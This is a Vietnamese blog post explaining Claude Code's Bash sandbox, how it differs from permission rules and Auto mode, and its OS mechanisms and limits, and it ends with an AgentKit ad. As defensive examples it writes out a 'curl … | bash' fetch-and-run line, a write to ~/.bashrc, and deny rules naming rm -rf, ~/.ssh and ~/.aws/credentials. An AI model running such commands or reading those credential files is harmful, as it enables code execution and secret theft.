Công cụ AI Coding

Sandbox Của Claude Code: Bash Sandbox Khác Gì Phân Quyền Và Auto Mode?

Aug 19, 202611 phút đọc

Sandbox của Claude Code là ranh giới do hệ điều hành áp đặt: bạn định nghĩa lệnh Bash được đụng file nào, domain mạng nào, rồi macOS/Linux tự ép buộc ranh giới đó - không cần bạn tin lời Claude. Nó khác permission rule (cho phép/từ chối/hỏi trước khi tool chạy) và khác Auto mode (classifier tự xét từng hành động thay vì hỏi bạn). Ba lớp này chạy song song, không thay thế nhau - tài liệu chính thức nói thẳng: /sandbox không phải một permission mode.

- Đã đối chiếu tài liệu chính thức (code.claude.com/docs/en/sandboxing, /sandbox-environments) tại thời điểm viết (08/2026); sandbox và các cờ cấu hình đổi nhanh theo version, hãy kiểm tra docs live trước khi phụ thuộc.

Bash sandbox của Claude Code là gì?

Nói đơn giản: bạn định nghĩa file nào và domain mạng nào một lệnh được đụng vào, rồi hệ điều hành ép buộc đúng ranh giới đó - nguyên văn tài liệu chính thức. Nghĩa là khi Claude chạy rm -rf /tmp/x hay curl api.example.com, hệ điều hành - không phải Claude tự giác - quyết định lệnh có được chạm vào đích đó hay không.

Đây là lớp phòng thủ khác hẳn kiểu "hỏi trước khi chạy" mà nhiều người đã quen khi dùng Claude Code. Permission rule chặn hành động trước khi nó chạy; sandbox chặn hậu quả trong lúc nó chạy, kể cả khi permission đã cho phép hoặc bạn lỡ approve nhầm.

Cách sandbox được thực thi: Seatbelt vs bubblewrap + socat

Cơ chế enforce khác nhau theo hệ điều hành - Claude Code không tự viết ra một sandbox riêng, nó dùng cơ chế cách ly có sẵn của OS.

Hệ điều hànhCơ chếCần cài thêm?
macOSSeatbelt (sandbox-exec có sẵn của Apple)Không, dùng luôn
Linux / WSL2bubblewrap (cách ly filesystem) + socat (relay mạng)Có: apt-get install bubblewrap socat hoặc dnf install bubblewrap socat
WSL1Không hỗ trợbubblewrap cần tính năng kernel chỉ WSL2 mới có
Windows gốc (native)Không hỗ trợPhải chạy trong WSL2

Nếu bạn chạy Claude Code trực tiếp trên Windows (không qua WSL), sandbox coi như không tồn tại - không có lỗi ầm ĩ, nó chỉ lặng lẽ không enforce được gì. Muốn có sandbox thật trên Windows, chuyển sang WSL2.

Sandbox thực sự cách ly những gì: filesystem và network

Đừng tưởng "bật sandbox" nghĩa là khoá kín máy lại. Mặc định của nó lệch hẳn giữa đọc và ghi - đây là chỗ nhiều người ngã ngửa.

LoạiMặc địnhGhi chú
Ghi fileChỉ thư mục làm việc + temp của sessionChặt, đúng như kỳ vọng
Đọc fileToàn máy, trừ path bị denyGotcha thật: mặc định vẫn đọc được ~/.aws/credentials, ~/.ssh nếu bạn không tự thêm deny rule
MạngKhông domain nào được allow sẵnDomain mới lần đầu dùng sẽ bị hỏi (hoặc do classifier của Auto mode tự xét), traffic đi qua proxy nội bộ

Nói cách khác: mặc định của sandbox bảo vệ máy bạn khỏi bị ghi lung tung tốt hơn nhiều so với bảo vệ khỏi bị đọc lung tung. Nếu repo của bạn có SSH key hay AWS credential nằm gần đó, đừng mặc định là sandbox đã che chắn - tự thêm deny rule cho các path nhạy cảm nếu cần chắc chắn.

Sandbox vs permission rules vs Auto mode - bảng 3 lớp (chỗ hay nhầm nhất)

Đây là phần quan trọng nhất bài, vì gần như không nguồn nào tách rõ cả ba lớp trong một bảng. Ba thứ này không thay thế nhau - chúng xếp chồng lên nhau, mỗi lớp trả lời một câu hỏi khác:

LớpKiểm soát cái gìThay prompt hỏi từng hành động bằng gìVí dụ
Permission rulesTool nào được chạy, xét trước mọi lệnhallow/deny/ask rule tĩnh trong settings.jsonDeny Bash(rm -rf *)
Permission modes (gồm Auto mode)Bạn có bị hỏi trước khôngMột classifier tự xét từng hành động thay bạnAuto mode tự chặn curl | bash mà không cần hỏi
Sandbox (và sandbox auto-allow)Một lệnh Bash đang chạy thực sự đụng được vào file/domain nàoRanh giới OS chứa lệnh lại thay vì hỏiLệnh ghi ngoài thư mục làm việc bị OS chặn thẳng, không có prompt

Điểm hay gây nhầm nhất: sandbox có một chế độ riêng tên là sandbox auto-allow (chọn trong tab Mode của /sandbox), nghe rất giống Auto mode - permission mode mặc định hiện nay của Claude Code (xem Auto mode của Claude Code). Đây là hai cơ chế độc lập, chỉ trùng chữ "auto": sandbox auto-allow quyết định lệnh Bash có tự chạy trong ranh giới đã định nghĩa mà không cần hỏi hay không; Auto mode quyết định classifier có tự xét thay bạn cho toàn bộ hành động (không riêng Bash) hay không. Bật cả hai không xung đột - chúng cộng dồn, không tính năng nào "thắng" tính năng kia. Đừng lấy chữ "auto" ra để đoán chúng là một.

Ví dụ cụ thể: chuyện gì thực sự xảy ra khi một lệnh chạm ranh giới

Lý thuyết dễ nhầm, ví dụ thì rõ ngay. Giả sử bạn chạy Claude Code với cả ba lớp cùng bật: một allow rule cho npm test, Auto mode làm permission mode, và sandbox đang bật auto-allow.

  • Claude gõ npm test: permission rule khớp allow ngay, không hỏi. Sandbox cũng không có gì để chặn vì lệnh chỉ đọc/ghi trong thư mục project.
  • Claude gõ curl https://cdn-la.example | bash: không có allow rule nào khớp, nên rơi vào tay Auto mode. Classifier nhận diện đây là mẫu curl | bash nguy hiểm kinh điển và tự chặn - bạn không bị hỏi, nhưng lệnh cũng không chạy.
  • Claude gõ lệnh ghi ra ngoài thư mục project, ví dụ echo x > ~/.bashrc: giả sử permission rule và Auto mode đều cho qua vì lệnh trông vô hại. Đây là lúc sandbox vào việc: OS chặn thẳng thao tác ghi vì ~/.bashrc nằm ngoài ranh giới write đã định nghĩa - không có prompt, không có classifier, chỉ là lệnh thất bại ở tầng hệ điều hành.

Ba tình huống, ba lớp xử lý khác nhau. Đây chính là lý do bảng 3 lớp ở trên đáng nhớ hơn một câu mô tả suông: mỗi lớp bắt một loại lỗi khác nhau, và chỉ khi cả ba cùng bật bạn mới có phòng thủ đầy đủ.

Bash sandbox nằm ở đâu trong các mức cách ly (sandbox environments)

Bash sandbox chỉ là mức nhẹ nhất trong một dải lựa chọn cách ly mà Claude Code hỗ trợ. Nếu cần cách ly sâu hơn, đây là bức tranh đầy đủ:

MứcCách ly gìCần Docker/VM?
Bash sandbox (bài này)Chỉ tool BashKhông
Sandbox runtime (beta)Toàn bộ process Claude CodeKhông, nhưng vẫn ở dạng beta
Dev container / custom containerToàn bộ môi trường qua Docker
VMToàn máy ảo riêngCó (hypervisor)
Claude Code trên webVM do Anthropic host sẵnKhông tự quản lý, Anthropic lo

Điểm quan trọng cần nhớ: Bash sandbox không che các tool file (Read/Edit/Write), MCP server, hay hook - những thứ đó chạy ngoài ranh giới Bash. Muốn khoá cả những phần này, bạn cần một trong các mức nặng hơn ở trên, không chỉ bật /sandbox là xong.

Khi nào nên bật sandbox

Đừng bật sandbox chỉ vì nghe "an toàn hơn" - cân theo cách bạn thực sự chạy Claude Code:

  • Chạy trên máy cá nhân, muốn đỡ bị hỏi y/n: sandbox một mình là đủ. Nó thay việc hỏi bằng ranh giới OS, còn bạn vẫn kiểm soát được vì mọi thứ chạy trực tiếp trước mắt bạn.
  • Chạy không giám sát (unattended) với --dangerously-skip-permissions hoặc Auto mode chạy đêm: sandbox một mình không đủ. Ghép nó với container, VM, hoặc sandbox runtime - vì lúc đó không có ai ngồi cạnh để bắt kịp nếu có gì bất thường lọt qua ranh giới.
  • Đang thử một package hoặc script lạ, chưa review kỹ: sandbox giúp bạn thử mà không lo nó ghi lung tung ra ngoài project - nhưng nhớ phần đọc vẫn rộng mặc định, nên đừng chạy thứ chưa tin tưởng gần các file chứa credential.

Cách bật sandbox

Gõ lệnh, chọn mode, xong:

/sandbox

Chọn tab Mode để chọn giữa sandbox auto-allow (không hỏi, dựa hoàn toàn vào ranh giới OS) hoặc chế độ permission thường (vẫn hỏi khi lệnh chạm ranh giới). Cấu hình lưu vào .claude/settings.local.json nếu bật riêng cho project, hoặc set sandbox.enabled: true trong ~/.claude/settings.json nếu muốn bật mặc định cho mọi project.

Giới hạn: sandbox không bảo vệ gì

Nói thẳng để khỏi ảo tưởng an toàn:

  • Lọc mạng không soi nội dung TLS mặc định - nghĩa là domain-fronting (giả domain để lách filter) vẫn là rủi ro thật, tài liệu chính thức có nhắc tới.
  • Đọc file mặc định rất rộng - trừ khi bạn tự thêm deny rule, sandbox không tự động che credential nằm ngoài thư mục làm việc.
  • Không thay được một security review thật. Sandbox là một lớp phòng thủ, không phải toàn bộ mô hình an toàn.

Muốn thu hẹp phần đọc file, thêm deny rule kiểu:

{
  "sandbox": {
    "filesystem": {
      "deny": ["~/.ssh/**", "~/.aws/credentials"]
    }
  }
}

đặt trong .claude/settings.json hoặc ~/.claude/settings.json tuỳ bạn muốn áp dụng cho một project hay toàn máy. Tên khoá cụ thể có thể đổi theo version, kiểm tra docs live trước khi copy nguyên văn.

Muốn nắm đầy đủ mô hình an toàn của Claude Code, kể cả permission rule và quản lý secret, xem bảo mật AI coding thực chiến với Claude Code.

AgentKit chạy bên trong sandbox bạn đang bật

Nói thật để khỏi ai hiểu nhầm: AgentKit không thêm, không bypass, và không cần được sandbox "cho phép đặc biệt" gì cả. Skill của AgentKit chạy qua đúng cơ chế tool-call native của Claude Code - nên một workflow trong kit thừa hưởng y nguyên rule filesystem/network đang bật, kể cả khi bạn đang chạy sandbox auto-allow hay Auto mode. Nếu bạn muốn hiểu tổng thể AgentKit hoạt động ra sao trước khi mua, đọc review AgentKit.

Muốn một bộ workflow dựng sẵn chạy an toàn bên trong sandbox bạn đã cấu hình? AgentKit không đụng tới ranh giới sandbox - nó chỉ đóng gói sẵn skill/agent để bạn khỏi tự viết script một lần rồi bỏ.

Xem AgentKit - giảm 20%, còn $79.20 →

Câu hỏi thường gặp (FAQ)

Sandbox có bật mặc định không?

Không mặc định bật cho mọi project. Bạn bật bằng lệnh /sandbox, chọn mode, rồi lưu vào settings project hoặc user tuỳ phạm vi muốn áp dụng.

Sandbox có thay hoàn toàn việc bị hỏi permission không?

Không hoàn toàn. Sandbox chỉ kiểm soát những gì một lệnh Bash đang chạy được đụng vào. Permission rule (tool nào được chạy) và permission mode (bạn có bị hỏi trước không) vẫn là hai lớp riêng, chạy song song với sandbox chứ không biến mất khi bật sandbox.

Sandbox auto-allow khác Auto mode ở đâu?

Cùng chữ "auto" nhưng là hai cơ chế độc lập. Sandbox auto-allow là lựa chọn trong tab Mode của /sandbox, quyết định lệnh Bash có tự chạy trong ranh giới OS mà không hỏi hay không. Auto mode là permission mode mặc định của Claude Code, dùng classifier tự xét mọi hành động (không riêng Bash) thay vì hỏi bạn. Bật cả hai cộng dồn tác dụng, không cái nào ghi đè cái nào.

Sandbox có chạy trên Windows không?

Không chạy trên Windows gốc (native) và không hỗ trợ WSL1. Muốn dùng sandbox thật, chạy Claude Code trong WSL2 - lúc đó cơ chế bubblewrap + socat mới hoạt động.

Trong sandbox, Claude có đọc được SSH key của tôi không?

Có thể, nếu bạn không tự thêm deny rule. Mặc định sandbox cho đọc gần như toàn máy trừ các path bị deny sẵn - filter đọc lỏng hơn nhiều so với filter ghi.

Sandbox có bảo vệ MCP server và hook không?

Không. Bash sandbox chỉ bọc tool Bash - MCP server, hook, và các tool file (Read/Edit/Write) chạy ngoài ranh giới này. Cần cách ly rộng hơn thì dùng dev container, VM, hoặc sandbox runtime.

Kết luận

Nhớ đúng một mô hình 3 lớp: permission rule quyết định tool nào được chạy, permission mode (kể cả Auto mode) quyết định bạn có bị hỏi trước không, còn sandbox quyết định một lệnh Bash đang chạy thực sự đụng được vào đâu. Ba lớp này cộng dồn, không thay thế nhau - và sandbox auto-allow với Auto mode là hai cơ chế khác nhau dù trùng chữ "auto". Muốn xem toàn cảnh mô hình an toàn, đọc bảo mật AI coding thực chiến với Claude Code.

J

Jasmine

Tác giả · Jasmine Daily

Người viết nên Jasmine Daily - ghi lại những suy nghĩ, trải nghiệm và những khoảnh khắc đời thường. Thật lòng, không vội vàng, không hoàn hảo.

Jasmine Daily

Vẫn còn nhiều điều đang chờ được đọc.

Nếu bài viết này chạm đến bạn, hãy ghé xem thêm vài trang khác trong cuốn nhật ký này.

Đọc tiếp

Bài viết liên quan